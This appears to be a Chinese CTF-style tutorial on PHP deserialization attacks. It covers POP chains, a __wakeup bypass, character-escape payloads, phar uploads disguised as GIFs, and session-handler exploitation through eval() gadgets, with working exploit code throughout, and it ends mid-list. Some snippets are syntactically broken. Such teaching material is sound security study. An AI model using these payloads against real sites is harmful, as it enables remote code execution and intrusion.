这篇文章介绍一下php反序列化漏洞
0x00、序列化与反序列化
1、序列化与反序列化概念
序列化就是将 对象object、字符串string、数组array、变量等,转换成具有一定格式的字符串,方便保持稳定的格式在文件中传输,以便还原为原来的内容。
形象点描述序列化与反序列化的过程:
就相当于搬家过程中,比如一张桌子,不好运输,那么我们就将它给拆开来,按照规律记账:桌面木板几块,桌腿几条,组装方式…等等(属性),打包运输。至于说这张桌子在原来这里实现了什么功能(方法),我们并不关心,也没有计入帐中。运输到目的地之后,又重新取出来,组装还原(反序列化),至于怎么使用,就随我们重新定义。
php实现序列化和反序列化分别依赖两个函数:
序列化: serialize() 返回字符串,此字符串包含了表示 value 的字节流,可以存储于任何地方。
反序列化: unserialize() 对单一的已序列化的变量进行操作,将其转换回 PHP 的值。
eg:如图所示:
[](https://picture-1253331270.cos.ap-beijing.myqcloud.com/php serialize0.png)
这是一个简单的 php 类,然后我们实例化以后对其属性进行了赋值,然后调用了 serialize() 并且输出,我们看一下输出的结果
如图所示:
我们看到这个和刚刚的 json 长得有些不一样了,具体的含义我已经在途中有所标注(其中属性名和属性值的格式与前面对象名的格式类似我就没有重复说明)
要点一:不同权限的属性,序列化后有所不同
(1)Puiblic 权限:原样
他的序列化规规矩矩,按照我们常规的思路,该是几个字符就是几个字符,你看那个 test1 属性,是不是这样?
(2)Private 权限: %00类名%00属性名
该权限是私有权限,也就是说只能 test类使用,于是乎 test 有着强烈的占有欲,于是在序列化的时候一定要在 private 属性前面加上自己的名字,向世界表明这个属性是我独自占有的,但是好像长度还是不对,还少了两个,怎么回事?
这样,我们将其序列化的结果存入一个文件中,我们使用 Hexdump 看一下内部的结构,为了去除浏览器对整个过程的影响我修改一下代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <?php class test { private $flag = 'Inactive'; protected $test = "test"; public $test1 = "test1"; public function set_flag($flag) { $this->flag = $flag; } public function get_flag($flag) { return $this->flag; } } $object = new test(); $object->set_flag('Active'); $data = serialize($object); file_put_contents("serialize.txt", $data);
|
如图所示:
[](https://picture-1253331270.cos.ap-beijing.myqcloud.com/private 序列化.png)我们看到 test 的前后出现了两个 %00 ,也就是空白符,现在是不是字符数也凑够了
(3)Protected 权限:%00*%00属性名
这个也很奇怪,但是没关系我们看 hexdump 的结果
如图所示:
[](https://picture-1253331270.cos.ap-beijing.myqcloud.com/protected 序列化.png)这里我就不详细说了,反正格式就是这
这个特性一定要非常的清楚,如果很模糊的话,在我们后期构造或者修改我们的攻击向量的时候很容易出现错误
要点二:序列化只序列化属性,不序列化方法
在前面形象举例中有提及,桌子实现的作用功能我们并不关心,也不记账。
因此请记住,序列化他只序列化属性,不序列化方法,这个性质就引出了两个非常重要的话题:
(1)我们在反序列化的时候一定要保证在当前的作用域环境下有该类存在
这里不得不扯出反序列化的问题,这里先简单说一下,反序列化就是将我们压缩格式化的对象还原成初始状态的过程(可以认为是解压缩的过程),因为我们没有序列化方法,因此在反序列化以后我们如果想正常使用这个对象的话我们必须要依托于这个类要在当前作用域存在的条件。
(2)我们在反序列化攻击的时候也就是依托类属性进行攻击
因为没有序列化方法嘛,我们能控制的只有类的属性,因此类属性就是我们唯一的攻击入口,在我们的攻击流程中,我们就是要寻找合适的能被我们控制的属性,然后利用它本身的存在的方法,在基于属性被控制的情况下发动我们的发序列化攻击(这是我们攻击的核心思想,这里先借此机会抛出来,大家有一个印象)
2、序列化与反序列化实例
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| class Test { public $name = "s1ng"; private $age = 19; protected $sex = "male"; public function say_hello() { echo "hello"; } } $class = new Test(); $class_ser = serialize($class); print_r($class_ser); echo "\n"; $class_unser = unserialize($class_ser); var_dump($class_unser);
|
输出:
1 2 3 4 5 6 7 8 9 10
| O:4:"Test":3:{s:4:"name";s:4:"s1ng";s:9:"Testage";i:19;s:6:"*sex";s:4:"male";} class Test#2 (3) { public $name => string(4) "s1ng" private $age => int(19) protected $sex => string(4) "male" }
|
0x01 魔术方法
1、php序列化与反序列化中常用的魔术方法:
1 2 3 4 5 6 7 8 9 10 11
| __wakeup() __sleep() __destruct() __call() __callStatic() __get() __set() __isset() __unset() __toString() __invoke()
|
其中需要强调的是:**__toString()触发方式比较多:**
1 2 3 4 5 6 7 8
| echo ($obj) / print($obj) 打印时会触发 反序列化对象与字符串连接时 反序列化对象参与格式化字符串时 反序列化对象与字符串进行比较时(PHP进行比较的时候会转换参数类型) 反序列化对象参与格式化SQL语句,绑定参数时 反序列化对象在经过php字符串函数,如 strlen()、addslashes()时 在in_array()方法中,第一个参数是反序列化对象,第二个参数的数组中有toString返回的字符串的时候toString会被调用 反序列化的对象作为 class_exists() 的参数的时候
|
构造与析构函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <?php class TestClass { public function __construct() { echo "__construct()!!!\n"; } public function __destruct() { echo "__destruct()!!!\n"; } } $class = new TestClass(); echo "000\n"; $a = serialize($class); echo "111\n"; $b = unserialize($a); echo "222\n";
|
输出:
1 2 3 4 5 6 7 8
| __construct()!!! 000 111 222 __destruct()!!! __destruct()!!!
进程已结束,退出代码0
|
注意:这里的两次__destruct()调用,一次是属于new创建出来的那个对象,而第二个则是属于unserialize()重新组装还原的那个对象。
2、魔术方法的用处
从上面的知识我们可以知道,对象的序列化和反序列化只能是里面的属性,也就是说我们通过篡改反序列化的字符串只能获取或控制其他类的属性,这样一来利用面就很窄,因为属性的值都是已经预先设置好的。那么我们拓展一下思维,我们是否可以找到一些类里面的方法呢来供我们使用呢?但是序列化又不序列化方法怎么办?这时候魔法方法就派上用场了,正如上面介绍的,魔法方法的调用是在该类序列化或者反序列化的同时自动完成的,不需要人工干预,这就非常符合我们的想法,因此只要魔法方法中出现了一些我们能利用的点,我们就能通过反序列化中对其对象属性的操控来实现对这些函数的操控,进而达到我们发动攻击的目的。
3、寻找 一般PHP 反序列化漏洞的方法/流程
- 寻找 unserialize() 函数的参数是否有我们的可控点
- 寻找我们的反序列化的目标,重点寻找 存在 wakeup() 或 destruct() 魔法函数的类
- 一层一层地研究该类在魔法方法中使用的属性和属性调用的方法,看看是否有可控的属性能实现在当前调用的过程中触发的
- 找到我们要控制的属性了以后我们就将要用到的代码部分复制下来,然后构造序列化,发起攻击即可
0x02 pop链构造
1、概念:
从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链,最终达到攻击者邪恶的目的 。
2、实例演示
这里就拿我写的一道题的简单wp作示范即可。
看这里:https://www.yuque.com/uf9n1x/gt8wco/xi1bt9b3xsrz2o3r
0x03 一些常用绕过小知识点
1、__wakeup()绕过(CVE-2016-7124)
1 2
| PHP5 < 5.6.25 PHP7 < 7.0.10
|
利用方式:序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行
eg:下面的demo
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?php class test{ public $a; public function __construct(){ $this->a = 'abc'; } public function __wakeup(){ $this->a='666'; } public function __destruct(){ echo $this->a; } }
|
如果执行unserialize(‘O:4:”test”:1:{s:1:”a”;s:3:”abc”;}’);输出结果为666
而把对象属性个数的值1增大到2,再执行unserialize(‘O:4:”test”:2:{s:1:”a”;s:3:”abc”;}’);输出结果为abc,就达到了绕过__wakeup()的目的。
似乎还有一种方法绕过?去掉序列化字符串末尾的一个花括弧,直接执行__destruct()方法?
后面想起来再补充。
2、绕过部分正则
preg_match(‘/^O:\d+/‘) 匹配序列化字符串是否是对象字符串开头,这在CTF中也出过类似的考点
2.1. 利用加号绕过
(注意在url里传参时+要编码为%2B)
2.2. serialize(array(a ) ) ;
a为要反序列化的对象(序列化结果开头是a,不影响作为数组元素的$a的析构)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| <?php class test{ public $a; public function __construct(){ $this->a = 'abc'; } public function __destruct(){ echo $this->a.PHP_EOL; } }
function match($data){ if (preg_match('/^O:\d+/',$data)){ die('you lose!'); }else{ return $data; } } $a = 'O:4:"test":1:{s:1:"a";s:3:"abc";}';
$b = str_replace('O:4','O:+4', $a); unserialize(match($b));
unserialize('a:1:{i:0;O:4:"test":1:{s:1:"a";s:3:"abc";}}');
|
2.3. 利用引用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <?php class test{ public $a; public $b; public function __construct(){ $this->a = 'abc'; $this->b= &$this->a; } public function __destruct(){
if($this->a===$this->b){ echo 666; } } } $a = serialize(new test());
|
上面这个例子将 b 设 置 为a的引用,可以使 a 永 远 b相等
2.4. 利用 16 进制绕过过滤
将示意字符串的s改为大写S时,其值会解析 16 进制数据
例如:O:4:”Test”:1:{s:3:”cmd”;s:6:”whoami”;}
可改为:O:4:”Test”:1:{S:3:”\63md”;S:6:”\77hoami”;}
example:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| <?php class test{ public $username; public function __construct(){ $this->username = 'admin'; } public function __destruct(){ echo 666; } } function check($data){ if(stristr($data, 'username')!==False){ echo("你绕不过!!".PHP_EOL); } else{ return $data; } }
$a = 'O:4:"test":1:{s:8:"username";s:5:"admin";}'; $a = check($a); unserialize($a);
$a = 'O:4:"test":1:{S:8:"\\75sername";s:5:"admin";}'; $a = check($a); unserialize($a);
|
3、php7.1+反序列化对类属性不敏感
我们前面说了如果变量前是protected修饰,序列化结果会在变量名前加上\x00*\x00
但在特定版本7.1以上则对于类属性不敏感,比如下面的例子即使没有\x00*\x00也依然会输出abc
1 2 3 4 5 6 7 8 9 10 11
| <?php class test{ protected $a; public function __construct(){ $this->a = 'abc'; } public function __destruct(){ echo $this->a; } } unserialize('O:4:"test":1:{s:1:"a";s:3:"abc";}');
|
4、php反序列化字符逃逸
PHP在反序列化时,底层代码是以 ; 作为字段的分隔,以 } 作为结尾(字符串除外),并且是根据长度判断内容的 ,同时反序列化的过程中必须严格按照序列化规则才能成功实现反序列化 。
字符逃逸的本质其实也是闭合,类似于注入思想,但是它分为两种情况,一是字符变多,二是字符变少。
4.1.过滤导致字符变多的情况
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?php function filter($string){ $filter = '/p/i'; return preg_replace($filter,'WW',$string); } $username = $_GET['username']; $age = '24'; $user = array($username, $age); var_dump(serialize($user)); echo "<pre>"; $r = filter(serialize($user)); var_dump($r); var_dump(unserialize($r)); ?>
|
这里通过filter()函数对我们输入的内容进行检查,将字符p替换成ww,再进行反序列化。
我们传入不含p的字符串,正常序列化并输出:
但 当输入的内容存在p字符的时候,由于过滤之后的字符数变多了,不符合序列化的规则,所以进行反序列化的时候会失败并报错:
这里就可以用注入的思想加以利用,比如,如果我们想吧年龄进行修改,那么是否可以通过构造username的值来使得age的值改变?直接进行尝试:传值:
1 2
| payload: ?username=pppppppppppppppp";i:1;s:2:"18";}
|
分析:
- 首先是构造age值,序列化后的字符 “;i:1;s:2:”18”;} ,前面的 “ 是为了闭合前一个元素username的值,最后的 ;} 是为了闭合这一个数组,抛弃后面的内容。
- 然后数上面构造的这一串有多少个字符?16个,因此需要通过filter()函数之后变多16个字符,使得我们构造的这一部分内容能够逃出username的范围,称为独立的一个元素。由于这里一个字符p会变成2个w字符,因此每一个p就会多出一个字符,所以这里需要16个字符p。
- 核心思想就是:我想注入的内容有多少字符,就需要使多少个字符逃逸出来,怎么逃逸呢?利用他的规则,它可以使符合检测的字符一变二,相当于多出一个,那我就给你那么多无用字符,让你吞掉,再构造闭合,我的内容就逃逸出来了。至于后面多的原有字符怎么办?不理会。它对反序列化没有影响。
4.2. 过滤导致字符减少
字符减少就是后端对我们输入的序列化后的字符进行替换成为长度更短的字符
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?php function filter($string){ $filter = '/xx/i'; return preg_replace($filter,'s',$string); } class $username = $_GET['username']; $age = $_GET['age']; $user = array($username, $age); var_dump(serialize($user)); echo "<pre>"; $r = filter(serialize($user)); var_dump($r); var_dump(unserialize($r));
|
还是同样的代码,只不过过滤逻辑变成了减少替换。简单来说,就是前面减少,导致后面的字符被吃掉,从而执行了我们后面的代码。
传值含两个x:
加以利用:比如篡改第二个属性:
1 2
| payload: ?username=uf9n1xxxxxxxxxxxxxxxxxxxxxxxxxx&age=A";i:1;s:5:"hahah";}
|
分析:观察我们想篡改的第二个属性的位置,以及它的闭合方法:
那么就将第二个属性进行构造,闭合前面并写入我们想要的内容:
进行传入测试:
好,测试出来如图,既然有12个字符需要前面来吞掉,那么根据他的规则,我们只需要给他24个违法字符,就可以达成我们的目的:
1 2
| payload: ?username=uf9n1xxxxxxxxxxxxxxxxxxxxxxxx&age=";i:1;s:5:"hahah
|
这个payload后面没有 “;} 部分,是因为我们的篡改部分在序列化字符串最后,它原本就有,就帮我们把格式补充完整了。当然,你想要加上也无所谓,因为反序列化严格按照格式来,你加上,就把后面它自己的部分舍弃了,不影响我们的反序列化过程。如下payload也是可以的:
1 2
| payload: ?username=uf9n1xxxxxxxxxxxxxxxxxxxxxxxx&age=";i:1;s:5:"hahah";}
|
0x04 Phar反序列化攻击
1、原先 PHP 反序列化攻击的必要条件
1 2
| 首先我们必须有 unserailize() 函数 其次unserailize() 函数的参数必须可控
|
但这在了解phar之后,就完全不同了:
phar 文件包在生成时会以序列化的形式存储用户自定义的 meta-data ,因此配合 phar:// 我们就能在文件系统函数 file_exists()/ is_dir()/fopen()/copy()/file_exists()和filesize()等,参数可控的情况下实现自动的反序列化操作,于是我们就能通过构造精心设计的 phar 包在没有 unserailize() 的情况下实现反序列化攻击,从而将 PHP 反序列化漏洞的触发条件大大拓宽了,降低了我们 PHP 反序列化的攻击起点。接下来详细分析:
2、phar文件结构
2.1. 结构
1 2 3 4 5
| stub:phar文件的标志,必须以 xxx __HALT_COMPILER();?> 结尾,否则无法识别。xxx可以为自定义内容。 manifest:phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。 content:被压缩文件的内容 signature (可空):签名,放在末尾。
|
2.2. demo
根据文件结构我们来自己构建一个phar文件,php内置了一个Phar类来处理相关操作。
注意****:要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件。
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?php class TestClass{ }
@unlink("phar.phar"); $phar = new Phar("phar.phar"); $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); $o = new TestClass(); $phar->setMetadata($o); $phar->addFromString("test.txt", "test1"); $phar->stopBuffering();
|
运行后, 会生成一个phar.phar在当前目录下 。打开可以明显看到, meta-data是以序列化的形式存储的 。
3、受影响的函数
phar文件本质上是一种压缩文件,会以序列化的形式存储用户自定义的meta-data。当受影响的文件操作函数调用phar文件时,会自动反序列化meta-data内的内容。
受影响的函数列表 |
|
|
|
fileatime |
filectime |
file_exists |
file_get_contents |
file_put_contents |
file |
filegroup |
fopen |
fileinode |
filemtime |
fileowner |
fikeperms |
is_dir |
is_executable |
is_file |
is_link |
is_readable |
is_writable |
is_writeable |
parse_ini_file |
copy |
unlink |
stat |
readfile |
具体详情可以看这篇文章:https://blog.zsxsoft.com/post/38
整理如下:(引用自Y4tacker师傅)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62
| exif_thumbnail exif_imagetype
imageloadfont imagecreatefrom***系列函数
hash_hmac_file hash_file hash_update_file md5_file sha1_file
get_meta_tags get_headers
getimagesize getimagesizefromstring
$zip = new ZipArchive(); $res = $zip->open('c.zip'); $zip->extractTo('phar://test.phar/test');
$z = 'compress.bzip2://phar:///home/sx/test.phar/test.txt'; $z = 'compress.zlib://phar:///home/sx/test.phar/test.txt';
<?php $pdo = new PDO(sprintf("pgsql:host=%s;dbname=%s;user=%s;password=%s", "127.0.0.1", "postgres", "sx", "123456")); @$pdo->pgsqlCopyFromFile('aa', 'phar://phar.phar/aa'); ?>
<?php class A { public $s = ''; public function __wakeup () { system($this->s); } } $m = mysqli_init(); mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true); $s = mysqli_real_connect($m, 'localhost', 'root', 'root', 'testtable', 3306); $p = mysqli_query($m, 'LOAD DATA LOCAL INFILE \'phar://test.phar/test\' INTO TABLE a LINES TERMINATED BY \'\r\n\' IGNORE 1 LINES;'); ?>
|
4、 流包装器
php通过用户定义和内置的“流包装器”实现复杂的文件处理功能。内置包装器可用于文件系统函数,如(fopen(),copy(),file_exists()和filesize())。 phar://就是一种内置的流包装器。 其他常见的流包装器还有:
1 2 3 4 5 6 7 8 9 10 11 12
| file: http: ftp: php: zlib: data: glob: phar: ssh2: rar: ogg: expect:
|
对上面总结的受影响的函数,这里随意挑一个出来做一个示例看看效果:
执行如下脚本,构造一个phar文件:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <?php class TestClass{ public $data; public function __destruct(){ echo $this -> data; } }
@unlink("phar.phar"); $phar = new Phar("phar.phar"); $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); $o = new TestClass(); $o->data = "I am uf9n1x"; $phar->setMetadata($o); $phar->addFromString("test.txt", "test1");
$phar->stopBuffering();
|
执行如下代码演示:
1
| file_get_contents('phar://phar.phar/test.txt');
|
可以看到,我们成功的在没有 unserailize() 函数的情况下,通过精心构造的 phar 文件,再结合 phar:// 协议,配合文件系统函数,实现了一次精彩的反序列化操作。
5、漏洞利用条件
1 2 3
| phar文件要能够上传到服务器端。 要有可用的魔术方法作为“跳板”。 文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤。
|
6、绕过方式
6.1. 当环境限制了phar不能出现在前面的字符里。可以使用compress.bzip2://和compress.zlib://等绕过
1 2 3 4
| compress.bzip: compress.bzip2: compress.zlib: php:
|
6.2. 当环境限制了phar不能出现在前面的字符里,还可以配合其他协议进行利用。
6.3. GIF格式验证可以通过在文件头部添加GIF89a绕过
在前面分析phar的文件结构时可能会注意到,php识别phar文件是通过其文件头的stub,更确切一点来说是**__HALT_COMPILER();?>这段代码,对前面的内容或者后缀名是没有要求的。那么我们就可以通过x**采用这种方法能绕过很大一部分上传检测。
1 2 3 4 5 6 7 8 9 10 11 12
| <?php class TestObject { } $phar = new Phar('img.phar'); $phar -> startBuffering(); $phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); $phar ->addFromString('test.txt','test'); $object = new TestObject(); $object -> data = 'uf9n1x'; $phar -> setMetadata($object); $phar -> stopBuffering(); ?>
|
采用这种方法能绕过很大一部分上传检测。
7、实战简单利用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| <!DOCTYPE html> <html> <head> <title>upload file</title> </head> <body> <form action="./04-upload.php" method="post" enctype="multipart/form-data"> <input type="file" name="file" /> <input type="submit" name="Upload" /> </form> </body> </html> <?php if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1)=='gif')) { echo "upload:".$_FILES['file']['name']; echo "type:".$_FILES['file']['type']; echo "temp file:".$_FILES['file']['tmp_name'];
// 处理上传文件 if (file_exists('upload_file/'.$_FILES['file']['name'])) { echo $_FILES['file']['name']."has already exited"; } else{ move_uploaded_file($_FILES['file']['tmp_name'], "upload_file/".$_FILES['file']['name']); echo "stored in "."upload_file/".$_FILES['file']['name']; } } else{ echo "invalid file,you can only upload gif file!"; } <?php
class Test { public $data = 'echo "hello world!"'; function __construct() { eval($this->data); } } if ($_GET['file']) { file_exists($_GET['file']); }
|
绕过思路:GIF格式验证可以通过在文件头部添加GIF89a绕过。
1 2 3 4 5 6 7 8 9 10 11 12
| <?php class TestObject{ } $phar = new Phar("phar.phar"); $phar->startBuffering(); $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); $o = new TestObject(); $o->data = "phpinfo();"; $phar->setMetadata($o); $phar->addFromString("test.txt", "test"); $phar->stopBuffering();
|
生成的phar.phar修改后缀名phar.gif,再上传该文件,用phar协议解析:
0x05 Session反序列化(php>=5.4)
1.Session到底是啥?
Session是浏览器和服务器之间交互的会话,会话是啥呢?就是我问候你好吗?你回答说很好。就是一次会话,那么对话完成后,这次会话相当于就结束了,但为什么会出现Session会话呢?因为我们用浏览器访问网站用的是http协议,http协议是一种无状态的协议,就是说它不会储存任何东西,每一次的请求都是没有关联的,无状态的协议好处就是快速;但它也有不方便的地方,比如说我们在login.php登录了,我们肯定希望在index.php中也是登录的状态,否则我们登录还有什么意义呢?但前面说到了http协议是无状态的协议,那访问两个页面就是发起两个http请求,他们俩之间是无关联的,所以无法单纯的在index.php中读取到它在login.php中已经登陆了的;为了解决这个问题,cookie就诞生了,cookie是把少量数据存在客户端,它在一个域名下是全局的,相当于php可以在这个域名下的任何页面读取cookie信息,那只要我们访问的两个页面在同一个域名下,那就可以通过cookie获取到登录信息了;但这里就存在安全问题了,因为cookie是存在于客户端的,那用户就是可见的,并且可以随意修改的;那如何又要安全,又可以全局读取信息呢?这时候Session就出现了,其实它的本质和cookie是一样的,只不过它是存在于服务器端的。
2.Session的产生和保存
上面讲了Session产生的原因,那它具体长啥样子呢?这里我们用php中的Session机制,因为后面讲的反序列化也是基于php的嘛
首先,当我们需要使用Session时,我们要首先打开Session,开启Session的语句是session_start();,这个函数没有任何返回值,既不会成功也不会报错,它的作用是打开Session,并且随机生成一个32位的session_id,session的全部机制也是基于这个session_id,服务器就是通过这个唯一的session_id来区分出这是哪个用户访问的:
1 2 3 4 5
| <?php highlight_file(__FILE__); session_start(); echo "session_id(): ".session_id()."<br>"; echo "COOKIE: ".$_COOKIE["PHPSESSID"];
|
这里可以看出session_id()这个系统方法是输出了本次生成的session_id,并且存入了COOKIE中,参数名为PHPSESSID,这两个值是相同的,而且只要浏览器一直不关,无论刷新多少次它的值都是不变的,但当你关掉浏览器之后它就消失了,重新打开之后会生成一个新的session_id,session_id就是用来标识一个用户的,就像是一个人的身份证一样,接下来就来看看session它是怎么保存的:
它是保存在服务器中的临时目录下的,保存的路径需要看php.ini的配置,我的是保存在D:\phpStudy\PHPTutorial\tmp\tmp这个路径下的,我们可以打开来看看:
可以看到它的储存形式是文件名为sess**+_+**session_id,那我们能不能通过修改COOKIE中PHPSESSID的值来修改session_id呢?
然后刷新页面,可以发现成功了,成功修改了session_id的值,并且去保存的路径下去看发现也成功写进去了:
但由上图可知,它的文件内容是为空的,里面什么都没有,那我们能不能尝试往里面写入东西呢?依然在a.php中操作,给它赋个值:
发现成功写进去了,它的内容就是将键值对序列化之后的结果
我们把大致过程总结一下:
就是HTTP请求一个页面后,如果用到开启session,会去读COOKIE中的PHPSESSID是否有,如果没有,则会新生成一个session_id,先存入COOKIE中的PHPSESSID中,再生成一个sess_前缀文件。当有写入$_SESSION的时候,就会往sess_文件里序列化写入数据。当读取到session变量的时候,先会读取COOKIE中的PHPSESSID,获得session_id,然后再去找这个sess_session_id文件,来获取对应的数据。由于默认的PHPSESSID是临时的会话,在浏览器关闭后就会消失,所以,当我们打开浏览器重新访问的时候,就会新生成session_id和sess_session_id这个文件。
3.有关的配置
好了,上面铺垫了这么多,应该明白Session是什么以及Session的机制了,下面就开始正式进入正题,来看看Session反序列化
首先,我们先去php.ini中去看几项与session有关的配置:
1.session.save_path:这个是session的存储路径,也就是上文中sess_session_id那个文件存储的路径
2.session.auto_start:这个开关是指定是否在请求开始时就自动启动一个会话,默认为Off;如果它为On的话,相当于就先执行了一个session_start(),会生成一个session_id,一般来说这个开关是不会打开的
3.session.save_handler:这个是设置用户自定义session存储的选项,默认是files,也就是以文件的形式来存储的,当然你也可以选择其它的形式,比如说数据库啥的
4.session.serialize_handler:这个是最为重要的一个,用来定义session序列化存储所用的处理器的名称,不同的处理器序列化以及读取出来会产生不同的结果;默认的处理器为php,常见的还有php_binary和php_serialize,接下来来一个一个的看它们:
首先是php,因为它默认就是php,所以说用的应该是最多的,它处理之后的格式是*键名+竖线|+经过***serialize()**序列化处理后的值
然后我们来看php_binary,首先我们把处理器换成php_binary需要用语句ini_set(‘session.serialize_handler’,’php_binary’);这个处理器的格式是键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数序列化处理后的值;注意这个键名的长度所所对应的ASCII字符,就比如说键名长度为4,那它对应的就是ASCII码为4的字符,是个不可见字符EOT,具体可见下表,从1到31都是不可见字符
所以说它最后的结果如下,框框代表的就是不可见字符:
最后我们来看php_serialize,这个处理器需要php版本>5.5.4才能使用,首先我们还是得先用ini_set进行设置,语句如下:ini_set(‘session.serialize_handler’,’php_serialize’);这个的格式是直接进行序列化,把session中的键和值都会被进行序列化操作,然后把它当成一个数组返回回来:
总结一下如下表:
php_serialize |
经过serialize()函数序列化数组 |
php |
键名+竖线+经过serialize()函数处理的值 |
php_binary |
键名的长度对应的ascii字符+键名+serialize()函数序列化的值 |
4.Session反序列化原理
讲了这么多,相信很多人还是一头雾水,那为什么会产生Session反序列化漏洞呢?这个问题其实也困扰了我很久,以前我也是只知道操作但不清楚原理,知道前面加个|就可以成功但至于为什么就一脸懵逼,因为我们都知道Session反序列化是不需要unserialize()函数就可以实现的,那这具体是怎么实现的呢?今天就来把它彻底搞懂:
首先我们再来看看session_start()函数,前面我们看到的是没有打开Session的情况下它是打开Session并且返回一个session_id,但假如我们前面就已经打开了Session呢?这里我们再来看看官方文档:
这里重点看我框了的内容,尤其我箭头指向的地方,它会自动反序列化数据,那就很漂亮啊!这里就解决了没有unserialize()的问题,那我们可不可以考虑先把序列化后的数据写入sess_session_id文件中,然后在有反序列化漏洞页面刷新页面,由于这个页面依然有session_start(),那它就去读取那个文件的内容,然后自动进行反序列化操作,这样就会触发反序列化漏洞,完美!!
这个思路理论上是可以成功的,但这里还有一个核心问题没有解决,就是说我们怎么让它反序列化的是我们传入的序列化的内容,因为我们传入的是键值对,那么session序列化存储所用的处理器肯定也是将这个键值对写了进去,那我们怎么让它正好反序列化到我们传入的内容呢?这里就需要介绍出两种处理器的差别了,php处理器写入时的格式为键名+竖线|+经过serialize()序列化处理后的值那它读取时,肯定就会以竖线|作为一个分隔符,前面的为键名,后面的为键值,然后将键值进行反序列化操作;而php_serialize处理器是直接进行序列化,然后返回序列化后的数组,那我们能不能在我们传入的序列化内容前加一个分隔符|,从而正好序列化我们传入的内容呢?
这肯定是可以的,而这正是我们Session反序列化的原理,如果看到这有点发晕的话,没关系,咱接着往下看,接下来咱来分析一个例子
5.案例分析( 可以对session的进行赋值 )
首先我们来写一个存在反序列化漏洞的页面:
1 2 3 4 5 6 7 8 9 10
| <?php highlight_file(__FILE__); ini_set('session.serialize_handler', 'php'); session_start(); class Test{ public $code; function __wakeup(){ eval($this->code); } }
|
这应该是很简单的一个反序列化,反序列化后会先直接进入__wakeup(),然后就eval执行任意代码了,我们先写个exp:
1 2 3 4 5 6 7
| <?php class Test{ public $code='phpinfo();'; } $a = new Test(); echo serialize($a); ?>
|
然后我们再写一个页面,因为这里既没有传参的点也没有反序列化的点,相对于有漏洞利用不了,那我们就写一个利用它的页面sess.php:
1 2 3 4 5 6 7 8
| <?php highlight_file(__FILE__); ini_set('session.serialize_handler', 'php_serialize'); session_start(); if(isset($_GET['test'])){ $_SESSION['test']=$_GET['test']; } ?>
|
有了这个页面我们就可以把想要的内容写入到Session中了,然后就可以在有漏洞的页面中执行反序列化了,接下来开始操作,首先运行exp.php:
然后我们通过sess.php将运行结果写入Session中,记得在前面加上|:
然后我们去看它成功写入Session没有,并且看看写入的内容是什么:
可以看到它已经成功写入进去了,并且内容也是我们想要的内容,按照php处理器的处理方法,会以|为分隔符,左边为键,右边为值,然后将值进行反序列化操作,那我们就去有漏洞的页面去刷新,看看它有没有反序列化之后触发反序列化漏洞:
上面介绍了可以对session的进行赋值的,那如果代码中不存在对$_SESSION变量赋值的情况下又该如何利用 ?
6、$_SESSION变量不可控
看大佬的分析文章https://www.freebuf.com/vuls/202819.html
0x06 php原生类反序列化(SoapClient)
思考一个问题,当目标php代码只有一个类或者没有类利用时,我们是否就完全没有了利用手段,只能放弃?
你可能会说是,但其实不然。
在php代码中没有可利用的类时,我们还可以调用php的内置类(原生类)来进行XSS,反序列化,SSRF,XXE和读文件等一系列的操作。内置类,顾名思义就是php本身存在的类,我们可以直接拿过来用。本次来学习经常能用到的几种内置类。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| <?php $classes = get_declared_classes();
foreach ($classes as $class) { $methods = get_class_methods($class); foreach ($methods as $method) { if (in_array($method, array( '__destruct', '__toString', '__wakeup', '__call', '__callStatic', '__get', '__set', '__isset', '__unset', '__invoke', '__set_state' // 可以根据题目环境将指定的方法添加进来, 来遍历存在指定方法的原生类 ))) { print $class . '::' . $method . "\n"; } } }
|
执行结果如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77
| Exception::__wakeup Exception::__toString ErrorException::__wakeup ErrorException::__toString DateTime::__wakeup DateTime::__set_state DateInterval::__wakeup DateInterval::__set_state DatePeriod::__wakeup DatePeriod::__set_state LogicException::__wakeup LogicException::__toString BadFunctionCallException::__wakeup BadFunctionCallException::__toString BadMethodCallException::__wakeup BadMethodCallException::__toString DomainException::__wakeup DomainException::__toString InvalidArgumentException::__wakeup InvalidArgumentException::__toString LengthException::__wakeup LengthException::__toString OutOfRangeException::__wakeup OutOfRangeException::__toString RuntimeException::__wakeup 